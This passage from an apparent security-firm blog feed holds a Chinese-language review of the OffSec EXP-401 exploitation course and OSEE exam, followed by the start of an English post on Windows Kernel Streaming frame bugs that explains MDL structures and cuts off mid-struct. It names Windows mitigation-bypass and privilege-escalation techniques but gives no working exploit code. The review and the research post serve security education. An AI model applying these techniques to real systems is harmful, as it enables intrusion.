的逆向和漏洞分析等。</li> <li><strong>72 小時考試挑戰</strong>:OSEE 是 OffSec 中考試時間最長的證照。考試僅有兩題,皆為未知漏洞,學員需在 72 小時內開發出完整的 exploit 並繳交一份<strong>完整詳盡的滲透測試報告</strong>,包含步驟說明與截圖。</li> </ol> <p>雖然課程官網推薦學員熟悉 WinDBG、IDA Pro、x86/x64 組合語言、C/C++,但上完課後,我感覺只要會這些東西的基本操作就可以了。因為課程中並沒有過於刁鑽的場景,而且需要進行逆向工程的地方都滿單純的,整個課程也都不需要使用 IDA Pro 的 decompile 功能。整體來說,這門課的重點還是放在 <strong>exploit 的撰寫與技巧應用</strong>,而非深入逆向分析。因此相較於純逆向技能,有過 <strong>binary exploitation 經驗(不論是 Windows 還是 Linux)會對學習過程有更大的幫助。</strong></p> <h2 id="課程前準備">課程前準備</h2> <p>在報名完成後會收到 OffSec 寄來的行前通知,內容包含了課程的硬體與軟體需求。例如,為了確保學員有辦法練習到課堂上提到的保護,會需要電腦支援 NX、SMEP 與 VT-x/EPT。而且因為課程中有 VMware 相關的內容,需要啟用巢狀虛擬化之外還要確保硬碟空間與 RAM 的大小足夠(不過新版的課程移除 VMware 了)。我個人會推薦另外帶一個攜帶式的外接螢幕去上課,因為在對虛擬機進行 remote debugging 的同時,還需要看上課簡報或是在 Visual Studio 中修改 exploit,如果一直切來切去是會滿分心的。</p> <p>除此之外,行前通知中還包含了很多課前準備資料,包含了很多上課中會提到的概念以及手法的粗淺介紹,諸如:Bypassing DEP、Bypassing ASLR、Bypassing CFG、Windows Mitigations Improvements、Type Confusion Vulnerabilities、SMEP、Token Stealing、Low Fragmentation Heap 等等各種事前預習資料。</p> <h2 id="上課狀況">上課狀況</h2> <p>這次課程是連續五天的實體課程,每天從早上 9:00 上到晚上 18:00,上課地點在北科大的集思會議中心。一走進教室就看到桌上擺著一本超大的課本。 <img src="/assets/img/blog/20250522/upload_ab82acf8bee146b377b3bc70ff60b756.jpg" alt="" /></p> <p>這本課本到底有多大呢?內容大約六百頁,厚度大約 3.6 公分: <img src="/assets/img/blog/20250522/upload_17fdc7d6f806d28d3cb313584b4fe4ec.jpg" alt="" /></p> <p>簡單來說,就是有夠大本。</p> <p>上課期間,每天都有提供各種食物和點心,除了學習以外的事情一律都不需要擔心。這次的講師是 <a href="https://dz.linkedin.com/in/nassereddine-abdelli?trk=public_post_feed-actor-name">Nassereddine ABDELLI</a>(<a href="https://x.com/n4sr0">@n4sr0</a>)與 <a href="https://lb.linkedin.com/in/victor-khoury">Victor Khoury</a>(<a href="https://github.com/V-i-x-x">Vixx</a>),兩位講師都非常的有經驗,跟學員的互動非常的多,時常會拋出問題來確認學員是不是都有理解課程進度。即使學員問一些講師沒有預期到的問題,他們也都能當場實際操作並解答,驗證並回答學員的問題,完全發揮了 Live Training 的優點。</p> <p>在五天的課程中,還設計了幾個名為 Extra Miles 的挑戰,只要能在 Live Training 期間完成,就能獲得一枚 Challenge Coin,總共有兩個這樣的 Challenge。課堂上也有一些小型問答活動,答對的話可以拿到貼紙。</p> <p>有趣的是,在第一天快要結束的時候,講師好像心血來潮自己增加了一個 challenge:45 分鐘內成功搞定 ROP chain ,就能拿到 Challenge Coin。不過,因為時間太趕了沒有人完成。當時 Orange 還是 Lays 就開玩笑的說:「幾乎全台灣的微軟百大駭客都在這裡了,竟然沒人解得出來。」看來 OSEE 是真難。</p> <h3 id="day-1">Day 1</h3> <p>第一天上課講師先把投影片還有一堆上課會用到的 VM 先傳給大家,然後開始對課程做簡單的介紹。網路上最多人提到的應該就是這一張投影片: <img src="/assets/img/blog/20250522/upload_7b077d2f6c8d86426a5aa31a1876449b.png" alt="" /></p> <p>這張投影片預告了接下來課程難度是怎樣跳躍的,但我個人覺得沒有這麼誇張,可能是因為課程裡的主題本來就是漏洞研究員平常會碰到的東西(VM、Browser、Kernel),也有可能是因為 CTF 選手本來比較耐操。</p> <p>一個比較有趣的小彩蛋是,投影片上方畫了一個日本武士,隨著課程的進行,武士的裝備會越來越降級。例如,頭盔會變成斗笠,武器跟鎧甲也會慢慢消失,最後會變成一個裸男。應該是寓意著理解 Windows 的過程將會充滿挑戰!</p> <p>雖然課程本來就建議要具備一定的 Windows 相關知識,但還是不免俗的先講了一些簡單的東西暖暖身,如 Win32 API 跟 x64 shellcode 相關的內容。但是下半天開始就慢慢進入 VMware 的內容了。首先介紹了一些基礎的防護機制以及如何用 ROP 繞過這些保護,接著會介紹 VMware Workstation 的一些內部運作機制還有結構。</p> <p>這部分讓我印象很深刻的是,從講義內容可以看得出來,編寫這本講義的團隊是一群很有水準的研究員。講義就是這些研究員細心研究、整理後產出的結晶,因此課本裡面充滿了各種 Reference。如果對原始研究有更多興趣,只要順著講義提供的參考資料,就能很容易找到更深入的閱讀材料。</p> <h3 id="day-2">Day 2</h3> <p>第二天持續 VMware Workstation 的課程,因為課堂上的例子是與 Heap 相關的漏洞,所以先花了一點篇幅介紹 Windows Heap 的整體架構,為後續撰寫 exploit 打好基礎,屆時可以更好的控制 Heap。</p> <p>接著課程進入 Bypassing ASLR、Stack Pivoting、Defeating DEP 等等內容。從這裡開始,可以明顯感受到這門課的實用價值。通常在 CTF 比賽中,我們只在乎能不能拿到 Flag,不特別追求 exploit 的穩定性;在 Pwn2Own 等比賽中,重點則是能不能穩定取得 Shell,只要「One Shot」即可,後續系統會不會 crash 並不是太大問題。但在這門課中,學員會被要求要把程式回復到正常的狀態。也就是說,無論是 VMware Workstation 與 Windows ,在 exploit 執行完之後都不能出現 crash 或當機,必須像什麼事都沒發生過一樣繼續運作。(當然,不接受使用 while loop 或 sleep 卡住程式來「作弊」)</p> <p>下半天,內容逐漸進入到 Edge Browser 的部分。不過這邊教的還是 Chakra 版本的 Edge,而不是現行的 Chromium 版本。講師提到,選擇 Chakra 版是因為這個版本啟用了更多 Windows 原生的保護機制,選擇舊版的 Edge 反而可以練習到更多 Windows 的 exploit 技巧,更符合這門課「Advanced Windows Exploitation」的定位。實際上要在這門課中真正學好 Browser pwn 確實也是不可能的,要想追上最新版的細節或漏洞研究趨勢,那會是另一個龐大到可以開成一整門課的主題,不是 Advanced Windows Exploitation 這門課需要追求的。但即便如此,我們還是學到了許多關於 Browser Exploit 的核心概念,例如 Type Confusion、<code class="language-plaintext highlighter-rouge">addressof</code>、<code class="language-plaintext highlighter-rouge">fakeobj</code> 等技巧,以及重要的 Debugging 流程。</p> <p>雖然 Browser 的部分還沒開始太多,但今天講師還是給了第一個 Extra Mile:<strong>使用 ROP 繞過 CFG(Control Flow Guard)保護,完成 Sandbox Escape 的 exploit</strong>(課堂上教是 CET(Control-Flow Enforcement Technology)啟用的情境,屆時連 ROP 都無法成功)。聽起來很簡單,但講師還特別要求,我們必須把漏洞包裝成一個可以無限次觸發 ROP 的 function,讓 exploit 開發過程更加有紀律,也能提升開發效率。</p> <p>當然,這中間還有其他難點需要解決,像是如何取得可用的記憶體位置等等。但是因為我真的很想拿到 Challenge Coin,所以我一個晚上看了一兩百頁還沒有教到的地方,先把要做什麼事情釐清之後就開始寫這個 exploit。</p> <h3 id="day-3">Day 3</h3> <p>第三天的課程整天都聚焦在 Edge 上,這是我覺得這門課最有趣的部分。</p> <p>從 Type Confusion 漏洞開始,講師帶我們一步步透過操控 Edge 中的 Javascript 物件來控制 RIP。接著,課程進入各種防護機制的介紹,每啟用一種新防護,就馬上教我們怎麼設法繞過它。我們先是繞過 CFG(Control Flow Guard),接著 Control-Flow Enforcement Technology(CET),接著 Arbitrary Code Guard(ACG),最後則是從 Browser 的低權限 Sandbox 逃脫到 Windows 執行高權限的指令。</p> <p>過程中不只學習的現代 Windows 存在怎樣的保護機制之外,對每種保護機制的局限性以及繞過手法也有很深刻的認識!</p> <p>當然,雖然上課內容跟 Extra Mile 走的路線不完全相同,我還是在課堂進行中完成了那個 ROP Sandbox Escape 的 Extra Mile,順利拿到了這次課程發出的<strong>第一枚 Challenge Coin</strong>!雖然這編號看起來有點不吉利(Challenge Coin 沒有按照編號順序發):</p> <p><img src="/assets/img/blog/20250522/upload_83ad2122816ba37db84d7750df28350a.jpg" alt="" /></p> <p>在今天下課之前,講師也給出了這門課最後一個 Extra Mile 挑戰,這次是跟後面即將上到的 Kernel Mode 課程內容有關:在 Low Integrity 的情境下完成某個 CVE 的漏洞利用最後執行高權限的 <code class="language-plaintext highlighter-rouge">cmd.exe</code>。</p> <p>這邊的難點在於因為是 Low Integrity 所以無法直接使用 <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> 來洩漏 Windows Kernel 的記憶體位置,需要透過其他漏洞來迂迴的取得我們想要的 Kernel 記憶體位置。而且,由於課堂中給的 CVE 需要寫檔案才能完成漏洞利用,我們還需要找一個 Low Integrity 也能寫入的資料夾才能順利放置 exploit 所需的檔案並完成利用。</p> <h3 id="day-45">Day 4、5</h3> <p>前幾天的課程主要聚焦在 Windows User Mode 的保護機制與漏洞利用,到了最後兩天,則專注在 Kernel Mode 的內容。我們學習了有關 Kernel Driver 以及 Win32k 的漏洞利用,涵蓋了大量作業系統相關知識以及 Kernel 獨有的攻擊技巧,如:Token Stealing、ACL NULL-ing、SMEP、Page Table、KVA Shadow、Desktop Heap、Virtualization-Based Security、kCFG 等等。在 Kernel 層級,我們更需要特別注意漏洞利用的穩定性,以及如何在完成利用後將系統恢復到正常狀態,而不是直接讓系統 Crash。</p> <p>雖然這堂課長達五天,但隨著時間推進,感覺大家越來越興奮。Lays 說,可能是因為平常根本沒人在乎 Windows,現在有一門課五天都在講這個東西就很爽。到了後面,上課時幾乎所有人都興奮地站著看講師操作 WinDBG 及修正 exploit,氣氛一直熱烈到課程結束。</p> <p>當然,最後我順利拿到了兩枚 Challenge Coin。不過聽同事說,有國外的學員在心得文中提到,因為課堂上拿到了兩枚 Challenge Coin,太過自信,結果考試時沒有充分準備,聽得我都有點緊張了。</p> <p><img src="/assets/img/blog/20250522/upload_29009efc9ab35f26cdb952f962900dfb.jpg" alt="" /></p> <h2 id="感想">感想</h2> <h3 id="完整的體驗">完整的體驗</h3> <p>一週的實體訓練課程帶來了極佳的心流體驗。這五天的生活,除了 Windows 的 exploit 之外就沒別的東西了,加上 Extra Miles 的獎勵機制,可以說是連做夢都在寫 exploit,精神狀態直接變成 Windows 的形狀。而且為了確保系統的穩定性還有開發的速度,從一開始就必須認真思考,選擇最適合的方式來完成 exploit,以便後續作業能更輕鬆。同時,也必須建立良好的 coding 習慣,這不僅能在除錯過程中提升可讀性,也能在後續維護時,減少出錯的機率,並節省釐清概念所需的時間。</p> <h3 id="學習資源">學習資源</h3> <p>後續有不少人私訊詢問 EXP-401 這堂課是否有建議的 learning path,例如是否應該先修哪些課程,或是否有推薦的預習資源。老實說,我覺得課程本身就足夠了,不太需要額外找其他資源來準備。不過,如果你還在考慮自己是否適合這堂課,可以先從以下幾個免費資源開始:</p> <ol> <li><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver">HackSys Extreme Vulnerable Driver (HEVD)</a>:這個專案提供了許多設計來練習的有漏洞的 Windows Driver。不過因為是 Driver,主要練習的是 Kernel Mode 的保護機制、漏洞發現與利用方法。</li> <li><a href="https://p.ost2.fyi/">OpenSecurityTraining2</a>:這個網站上有許多資安研究員無償製作的免費課程,不僅包含 Windows 相關課程,也有許多基礎課程,例如:x86-64 OS Internals、Introductory WinDbg 等。</li> </ol> <p>這些資源都是非常知名且品質有保障的免費教材,維護者本身要不是現職資安研究員,就是同時也有在開設付費課程的專業人士。就我所知,許多初學者在早期學習時期就是靠這些資源打基礎。(不過我個人沒有完整使用過這些資源,總時數不超過兩個小時。)</p> <p>或者,假設你的程度比較進階一點,那其實可以考慮直接找網路上有 Write-up 的 1-day 復現。像這堂課中提到的某個 Win32k 漏洞,我其實一兩年前就寫過完整的 exploit,雖然當時做得還不夠穩定。Angelboy 也寫過一些課程中提到、難度比較高的漏洞利用。這種實作練習非常有幫助,因為過程中會經歷到 exploit 開發的各個步驟:搜集資料、定位漏洞位置、保護機制的繞過、Windows 的特殊機制等等。</p> <h3 id="課程本身的價值">課程本身的價值</h3> <p>這門課可以說是 OffSec 精心提煉後的一帖大補藥,不僅將 Windows 各種保護機制系統性地整理起來,還涵蓋了許多在公開資源中難以找到的細節。做研究的人應該都能體會:我們或許知道某個保護機制或系統設計的存在,但要深入了解它們背後的具體實作,往往需要自己從零開始,收集零碎的資料、分析程式碼、花費大量時間反覆推敲。</p> <p>在理解一個大型系統時,通常也會遇到類似的情況:系統中存在許多重要的角色與機制,但相關研究往往散落在過去十幾年的資料中。第一步,要先花時間搜尋並整理過去十年的研究,逐步釐清各個角色之間的互動關係,進而理解它們在什麼條件下會失效,最終才能拼湊出一個完整的故事。而這種從大量資料中梳理出來的研究成果,通常是不會輕易對外分享的。</p> <p>而 EXP-401,正是把這樣等級的研究成果濃縮成課程內容,毫無保留地分享給學員。從最早期的 DEP 保護機制開始,各種保護機制接著一層層的堆疊上去,EXP-401 在課程中就一步步帶你走過這整個歷史軌跡。每一層防護是為了解決什麼樣的問題?又是如何被攻擊者逐步繞過?課程不只是講理論,還結合具體漏洞案例,教你如何實際避開這些防護機制。</p> <p>到課程結束時,學員腦中已經構築出一幅清晰的 Windows 藍圖。每個保護機制的出現背景、運作方式、可能的弱點與對應的利用方法,都能一一連結起來。這不只是單純的提升了撰寫 exploit 的能力,而是真正掌握了 Windows 系統內部運作的脈絡與故事。</p> <h3 id="課程內容依然適用嗎">課程內容依然適用嗎</h3> <p>EXP-401 的課程設計主要圍繞在 Windows 的保護機制與漏洞利用方法上,內容並未過多著墨於那些已經被淘汰的技術。因此,課程中介紹的各種保護機制,基本上都是目前 Windows 系統中仍然存在且有效的防護措施。</p> <p>除了講解保護機制本身,課程也搭配了許多輔助教材。不過,這些教材的主要目的是為了說明各種情境,並促進學員對漏洞利用方法的思考。例如,以課程中使用 Chakra 引擎版本的 Edge 瀏覽器來說,使用 Chakra 版本的 Edge 當然不貼近現實,因為沒有人在使用它了,但從 Windows 系統保護機制的角度來看,這樣的範例依然相當適用。因為無論是哪一款瀏覽器,只要出現漏洞,開發 exploit 時所面對的系統層面問題基本上是一致的。</p> <p>當然,在「瀏覽器範圍內」要解決的問題是不一樣的,像 Chrome 就會多出一層自己設計的 Sandbox 機制,這是應用程式層面的額外挑戰。但必須理解,除非這門課叫做 Browser Exploit Development,否則你不應該預期在這堂課上獲取太多瀏覽器特有防護機制相關的知識。</p> <p>總結來說,如果只聚焦在 Windows 系統本身的保護機制與漏洞利用技巧上,EXP-401 的課程內容在今天依然非常適用。</p> <h3 id="對找工作有幫助嗎">對找工作有幫助嗎</h3> <p>這是許多人關心的問題。我的回答是:<strong>有幫助,但影響不大。</strong> 為什麼這麼說呢?</p> <ol> <li><strong>如果你想成為一名紅隊演練專家:</strong> 在沒有紅隊相關證照的情況下,僅持有 OSEE 並不能證明什麼。雇主更在意的是你是否具備完整的紅隊演練思維(mindset),而不是你有能力在 Windows 上面開發 exploit。當然,如果兩者兼備,肯定是非常加分的。</li> <li><strong>如果你想成為一名資安研究員:</strong> 這門課的內容僅能視為入門等級。取得 OSEE 證照,頂多證明你有能力處理某些基本的技術問題。但在真正的研究工作中,更重要的是:你能不能自己主導一個研究?能不能獨立解決研究過程中遇到的各種問題?</li> </ol> <p>因為我是資安研究員,所以想更深入聊聊第二點。如果你想成為一名真正的研究員,那事實上你並不需要任何證照,沒有任何證照可以直接證明一個人研究的品質。真正的能力,需要透過累積實績、發表成果來證明。</p> <p>當然,在累積實績之前,必然會有一段時間不短的,紮實學習、反覆撞牆的過程。從這個角度來看,<strong>EXP-401 的價值,在於幫助你快速且有系統地建立起必要的基礎知識。</strong> 對於這門課最淺白的理解是:「快速準備好 Windows 研究所需的技術背景」。但實際上,EXP-401 的價值不僅止於此。EXP-401 的上課過程更像是「臨摹大師名作」,跟隨過去頂尖研究員的腳步,從新保護機制的推出、理解到繞過,學習這個過程中需要掌握的工具、技巧,以及如何有效提煉出關鍵資訊。雖然課程主題圍繞在 Windows 上,但背後訓練的思考模型與研究方法卻不僅止於 Windows,這些能力是可以被應用到 IoT、Linux、macOS 等其他領域的。</p> <p>所以我個人認為這堂課的價值比起證照本身更高,但當然,付一樣的錢還是把證照一起拿走比較賺。</p> <h2 id="考試與報告撰寫">考試與報告撰寫</h2> <p>如同前面說的,OSEE 考試一共有兩題。OffSec 為此設計了一系列漏洞,並且為了貼近現實,每個漏洞都有對應的 CVE Advisory 和模擬的部落格文章。部落格文章主要介紹程式的運作機制和過去漏洞利用的方法,而 CVE Advisory 雖然會描述漏洞類型,但並不會具體指出漏洞位置、觸發方式,也不會提供 PoC。考生必須依靠這些線索,自行逆向分析,找出漏洞所在,撰寫可觸發漏洞的程式,最終在繞過所有保護機制後,讀取 <code class="language-plaintext highlighter-rouge">proof.txt</code> 檔案,才算完成挑戰。</p> <p>考試時間安排為:<strong>72 小時內完成 exploit,24 小時內完成報告</strong>。但實際操作時,時間遠沒有表面上那麼充裕,這點稍後會解釋。</p> <p>具體評分標準可參考 OSEE 官方提供的報告模板:<a href="https://offensive-security.com/awe/AWE-Exam-Report.docx">AWE-Exam-Report.docx</a>。每一題的分數都是 50 分,但若只完成某題的一半,僅能獲得 25 分,而合格分數為 75 分。例如,以報告模板中的第一題來說,若只做到 Code Execution,卻無法完成 Sandbox Escape,就只能拿 25 分;第二題若僅做到 Read/Write Primitive,但未成功提升權限,同樣只能拿 25 分。</p> <p>雖然我在去年八月就上完課,但是因為超級忙的所以根本就沒辦法安排考試。九月、十月主要忙著研究 Pwn2Own 的目標(最後成功打下 AeoTec),年底則是準備 CCC 的演講,年初接著是 SITCON 和三月的 DEVCORE Conf。但最後還是勉強在 2/24 塞了一個 OSEE 考試。</p> <p>當天早上八點開考,第一題很快就弄出 Code Execution 拿到 25 分。不過因為一個小地方沒注意,卡在 Sandbox Escape 做不出來。所以第二天先跳去第二題看看,下午兩點左右就把題目解掉,拿了 50 分;剩下半天繼續磨第一題,終於在半夜兩點破台。原本大家還在講說要搶台灣第一張 OSEE,但我現在覺得應該要玩「OSEE Speedrun」才有意義。這幾天我基本上還是正常生活(扣除一直有台 webcam 會照著你的部分,還算正常),還有空練琴,如果第一天不要耍白痴的話,好像真的有機會一天解完。</p> <ul> <li>時間線 <ul> <li>2/24 08:00:00:早上八點開始考試</li> <li>2/25 14:04:52:解掉第二題</li> <li>2/26 02:41:43:解掉第一題,破台</li> </ul> </li> </ul> <p>接下來剩下的時間,就是用來專心撰寫報告。 前面提到,考生必須在 <strong>72 小時內完成 exploit</strong>,並在接下來 <strong>24 小時內完成報告</strong>。但實際上,時間根本沒那麼充裕,原因在於 OSEE 的報告要求非常嚴格。</p> <p>以官方提供的範本 <a href="https://offensive-security.com/awe/AWE-Exam-Report.docx">AWE-Exam-Report.docx</a> 為例,可以發現整份報告的結構被劃分得非常細緻,比如:「2.2 Initial Exploitation」、「2.3 Read and Write Primitive」、「2.4 Code Execution」、「2.5 Sandbox Escape」等等。</p> <p>平時自己寫 exploit,通常都是順順寫到底,很少會特意去紀錄中間每個細節。但在考試中,必須清楚拆解每一個階段,不僅要說明自己是怎麼利用漏洞的,還必須具體證明自己繞過了哪些保護機制,並且附上可以直接複製貼上就能夠執行的程式碼。例如,「Read and Write Primitive」這個階段,平常我們可能只是在開發過程中確認一下就繼續推進了,很少會特別停下來做獨立驗證。但在報告中,你必須證明自己具備這個能力。常見的做法是撰寫小型 PoC,讀寫一塊不可存取的記憶體,並搭配 Debugger 截圖作為佐證。</p> <p>然而,<strong>考試機器只開放 72 小時使用,而且所有資料都禁止下載</strong>。這表示:如果 72 小時內沒有收集齊全所有必須的截圖、證據和中間過程,之後在寫報告時就會非常痛苦,甚至可能因為證據不足導致無法通過。因此,在寫報告時才去拆分每個階段的 PoC 是不可能的,因為這樣會缺少必要的截圖,甚至無法驗證 PoC 是否能正常執行。最保險的策略是:<strong>在 72 小時內,不只是完成 exploit,也要同步撰寫 PoC,收集完所有資料,並把報告的主要內容草擬出來。</strong></p> <p>而且真的有人因為報告不夠詳盡,即使在解題階段拿了 100 分也沒有通過,所以我嚇得直接交了一百頁的報告出去。</p> <h2 id="結語">結語</h2> <p>把所有 exploit 和報告都整理好交出去之後,就只剩等待 OffSec 公告考試結果了。官方說審核可能需要最多十個工作天,我一路等到了 3 月 10 號,終於收到通過的通知。 據說這是全台灣第一張 OSEE 證照,算是順利解鎖了一個成就: <img src="/assets/img/blog/20250522/upload_b03d6106afb193bc29194272198cf43b.png" alt="" /></p> <p>另外,今年八月,DEVCORE 也將繼續承辦 OffSec 的 Live Training。 今年開設的課程包括兩門 Advanced 等級和一門 Expert 等級的課程,分別是:</p> <ul> <li><strong>PEN-300</strong>(Advanced Evasion Techniques and Breaching Defenses)</li> <li><strong>WEB-300</strong>(Advanced Web Attacks and Exploitation)</li> <li><strong>EXP-401</strong>(Advanced Windows Exploitation)</li> </ul> <p>如果有興趣參加,建議可以早點報名,因為早鳥票價相對非常划算(隨著時間接近,價格會逐步上升)。<br /> 詳細資訊可以參考官方網站:<a href="https://training.devco.re/2025">DEVCORE &amp; OffSec Live Training</a>。 <img src="/assets/img/blog/20250522/upload_b7cab66943df4921db18bbd3c37487f8.png" alt="" /></p> https://devco.re/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/ https://devco.re/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge Thu, 22 May 2025 00:00:00 +0800 Frame by Frame, Kernel Streaming Keeps Giving Vulnerabilities <p>This is a series of research related to Kernel Streaming attack surface. It is recommended to read the following articles first.</p> <ul> <li><a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/">Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I</a></li> <li><a href="https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en/">Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part II</a></li> </ul> <p>Welcome to Part III of my series on streaming vulnerabilities in the Windows kernel. This research was also presented at <a href="https://www.offensivecon.org/agenda/2025.html">OffensiveCon 2025</a>.</p> <p>Over the past year, we uncovered an overlooked bug class called <code class="language-plaintext highlighter-rouge">Proxying to Kernel</code>, which led to severe consequences, making exploitation straightforward in Windows kernel. However, this is just the tip of the iceberg for Kernel Streaming.</p> <p><img src="/assets/img/blog/20250517/1.png" alt="" /></p> <p>After discovering several vulnerabilities — including those related to the Proxying series — in Kernel Streaming, we decided to dive deeper into its internals. Between late 2023 and the end of 2024, we identified over 20 vulnerabilities. Approximately 14 of them are related to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/avstream-overview">AVStream</a>, with most occurring during frame handling. In this post, I’ll focus on these frame-related issues.</p> <p>Let’s talk about kernel streaming frame.</p> <h2 id="brief-overview-of-kernel-streaming-frame">Brief overview of Kernel Streaming Frame</h2> <p><img src="/assets/img/blog/20250517/2.png" alt="" /></p> <p>In Kernel Streaming, when reading data from a device, Kernel Streaming will allocate KS frame to carry streaming data such as video or audio.</p> <pre><code class="language-cpp=">struct _KSPFRAME_HEADER { _LIST_ENTRY ListEntry; _KSPFRAME_HEADER *NextFrameHeaderInIrp; void *Queue; _IRP *OriginalIrp; _MDL *Mdl; _IRP *Irp; KSPIRP_FRAMING_ *IrpFraming; KSSTREAM_HEADER *StreamHeader; void *FrameBuffer; KSPMAPPINGS_TABLE *MappingsTable; unsigned int StreamHeaderSize; unsigned int FrameBufferSize; void *Context; int RefCount; void *OriginalData; void *BufferedData; int Status; unsigned __int8 DismissalCall; _KSPFRAME_HEADER_TYPE Type; _KSPSTREAM_POINTER *FrameHolder; unsigned int OriginalOptionsFlags; _KSPMDLCACHED_STREAM_POINTER *MdlCaching; }; </code></pre> <p>The frame buffer inside the KS frame stores the actual image or audio data. Most frame buffers are described by a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl">Memory Descriptor List (MDL)</a> that maps their physical memory. If you’re not familiar with what an MDL is, don’t worry — here’s a quick overview.</p> <h3 id="mdl">MDL</h3> <p><code class="language-plaintext highlighter-rouge">MDL (Memory Descriptor List)</code> is a kernel-mode structure used in Windows to describe the physical pages backing a virtual memory buffer. It allows kernel components and drivers to perform direct memory access (DMA) and safely share buffers across different contexts. MDLs are widely used throughout the Windows kernel, commonly in conjunction with IRPs during <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-direct-i-o">Direct I/O</a>, as well as in file system and network drivers during data transfer operations.</p> <p>The <code class="language-plaintext highlighter-rouge">MDL (Memory Descriptor List)</code> structure is defined as follows:</p> <pre><code class="language-cpp=">typedef struct _MDL { struct _MDL *Next; CSHORT Size; CSHORT MdlFlags; struct _EPROCESS *Process; PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; ULONG ByteOffset; ULONG64 PFN[]; // Variable-length array of page frame numbers } MDL, *PMDL; </code></pre> <p>This is a variable-sized structure, where the <strong>PFN (Page Frame Numbers)</strong> array is stored at the end of the MDL. Each PFN represents the physical page corresponding to a the virtual buffer described by the MDL.</p> <p>In Kernel Streaming, an MDL describes a buffer that is mapped into user space and kernel space, and both mappings refer to the same physical memory.</p> <p><img src="/assets/img/blog/20250517/3.png" alt="" /></p> <p>As a result, when data is read from a device, it is written to both the user-mode and kernel-mode buffers at the same time.</p> <p>Let’s take a quick look at how MDLs are typically used.</p> <h4 id="basic-usage-of-mdl">Basic Usage of MDL</h4> <p>When the kernel needs to access user-mode memory — especially at elevated IRQL levels such as <code class="language-plaintext highlighter-rouge">DISPATCH_LEVEL</code> or within a DPC — it often relies on an MDL to safely describe and lock that memory. Typically, this process invokes the set of APIs shown in the diagram below.</p> <p><img src="/assets/img/blog/20250517/4.png" alt="" /></p> <h4 id="ioallocatemdl"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-ioallocatemdl">IoAllocateMDL</a></h4> <p><img src="/assets/img/blog/20250517/5.png" alt="" /></p> <p>First, the kernel calls <code class="language-plaintext highlighter-rouge">IoAllocateMdl</code> to allocate an MDL structure, initializing it to describe a buffer based on the provided virtual address and length. <strong>But it does not initialize the PFN (Page Frame Number) array in the MDL.</strong></p> <h4 id="mmprobeandlockpages"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages">MmProbeAndLockPages</a></h4> <p><img src="/assets/img/blog/20250517/6.png" alt="" /></p> <p>Next, the kernel calls <code class="language-plaintext highlighter-rouge">MmProbeAndLockPages</code> to lock the physical pages corresponding to the virtual address range, and to populate the PFN (Page Frame Number) array inside the MDL.</p> <h4 id="mmmaplockedpagesspecifycache"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmaplockedpagesspecifycache">MmMapLockedPagesSpecifyCache</a></h4> <p><img src="/assets/img/blog/20250517/7.png" alt="" /></p> <p>Once the kernel needs to access the memory, it calls <code class="language-plaintext highlighter-rouge">MmMapLockedPagesSpecifyCache</code> to map a new virtual address <strong>using the PFNs stored in the MDL</strong>.</p> <p>By the way, it’s also possible to map kernel buffers into user space using this API.</p> <h4 id="mmunlockpagesiofreemdl"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmunlockpages">MmUnlockPages</a>/<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iofreemdl">IoFreeMdl</a></h4> <p>After the kernel has finished using the buffer mapped through the MDL, it must call <code class="language-plaintext highlighter-rouge">MmUnlockPages</code> to release the locked physical pages. Finally, the MDL itself should be freed using <code class="language-plaintext highlighter-rouge">IoFreeMdl</code>.</p> <p>For the purposes of this post, it’s enough to understand that Kernel Streaming uses MDLs to manage frame buffers shared between user space and kernel space.</p> <p>If you’re interested in more details about MDL, here are some helpful references:</p> <ul> <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls">Using MDLs</a></li> <li><a href="https://medium.com/@WaterBucket/understanding-memory-descriptor-lists-mdls-for-windows-vulnerability-research-exploit-7de8729caee7">Understanding Memory Descriptor Lists (MDLs) for Windows Vulnerability Research &amp; Exploit Development</a></li> </ul> <p>Next, let’s take a look at how a typical application reads data from a webcam — and how Kernel Streaming implements this functionality under the hood.</p> <h3 id="how-to-read-streams-from-webcam">How to Read Streams from webcam</h3> <p>Here is a simplified overview of the workflow for reading a video stream from a webcam using Kernel Streaming:</p> <p><img src="/assets/img/blog/20250517/8.png" alt="" /></p> <ol> <li>Open the device to obtain a handle to the webcam device.</li> <li>Use this device handle to create an instance of the Pin on this filter and obtain the Pin handle.</li> <li>Set the Pin’s state to <code class="language-plaintext highlighter-rouge">RUN</code> using <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_property">IOCTL_KS_PROPERTY</a>. When the Pin enters the RUN state, the webcam’s indicator light usually turns on, indicating that the device is active and ready to stream.</li> <li>Finally, you can use <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_read_stream">IOCTL_KS_READ_STREAM</a> to read data from this Pin. When sending the IOCTL to read the stream, we need to provide a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ns-ks-ksstream_header">KSSTREAM_HEADER</a> structure as input to specify the necessary information.</li> </ol> <pre><code class="language-cpp=">typedef struct { ULONG Size; ULONG TypeSpecificFlags; KSTIME PresentationTime; LONGLONG Duration; ULONG FrameExtent; //Buffer Size ULONG DataUsed; PVOID Data; // point to image Buffer ULONG OptionsFlags; ULONG Reserved; } KSSTREAM_HEADER, 